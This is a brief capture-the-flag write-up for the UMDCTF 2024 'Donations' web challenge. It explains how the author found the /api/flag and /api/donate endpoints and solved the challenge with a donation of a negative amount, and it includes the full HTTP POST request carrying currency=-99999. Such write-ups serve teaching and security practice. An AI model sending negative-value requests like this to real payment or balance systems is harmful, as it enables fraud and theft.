umdctf2024 - Donations

After downloading and prettifying the javascript code we see that there’s a /api/flag and a /api/donate endpoints.

The flag route returns:

{"detail":"only the wealthy may view the treasure..."}

After trying some things that didn’t work, I went to the donate functionality. Using the parameters that I found in the javascript I is playing with this funcionality and noticed that you can only donate to a specific user

{"detail":"you may only donate to Jeff Bezos"}

And somehow that Jeff Bezos’s id is lisanalgaib

The solution was to donate a negative amount and earn that in return.

POST /api/donate HTTP/2
Host: donations-api.challs.umdctf.io
Content-Length: 30
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

to=lisanalgaib&currency=-99999